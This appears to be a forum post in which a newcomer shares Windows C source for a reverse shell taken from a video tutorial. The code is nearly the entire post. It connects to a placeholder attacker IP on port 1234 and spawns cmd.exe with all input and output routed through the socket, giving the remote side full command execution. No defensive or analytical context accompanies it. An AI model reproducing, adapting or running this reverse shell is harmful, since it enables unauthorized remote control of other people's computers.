Hey, I'm new here. Just finished coding a simple reverse shell over LAN from a yt tutorial.
Code
#include<winsock2.h>
#include<stdio.h>
#include<windows.h>
#include<ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
//add libws2_32.a at linker setting
int main()
{
SOCKET shell;
struct sockaddr_in shell_addr;
WSADATA wsa;
STARTUPINFO si;
PROCESS_INFORMATION pi;
int connect;
char RecvServer[512];
char ip_addr[]="attacker_ip";
int port = 1234;//random port
WSAStartup(MAKEWORD(2,2), &wsa); //Initialise WinSock
shell=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0);//create TCP socket
shell_addr.sin_port= htons(port);
shell_addr.sin_family=AF_INET;
shell_addr.sin_addr.s_addr=inet_addr(ip_addr);
connect=WSAConnect(shell,(SOCKADDR*)&shell_addr,sizeof(shell_addr),NULL,NULL,NULL,NULL);//connect to the target server
if (connect==SOCKET_ERROR)
printf("[!] Connection to the target server failed, Please try again!\n"),exit(0);
else
{
recv(shell,RecvServer,sizeof(RecvServer),0);
memset(&si,0,sizeof(si));
si.cb=sizeof(si);
si.dwFlags=(STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
si.hStdInput=si.hStdOutput=si.hStdError=(HANDLE) shell; //Pipe std input/output/err to the socket
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&si,&pi); //Spawn Command Prompt
WaitForSingleObject(pi.hProcess,INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
memset(RecvServer,0,sizeof(RecvServer));
}
}

![[Image: vibesignature.gif]](https://i.ibb.co/8LvxwtYQ/vibesignature.gif)
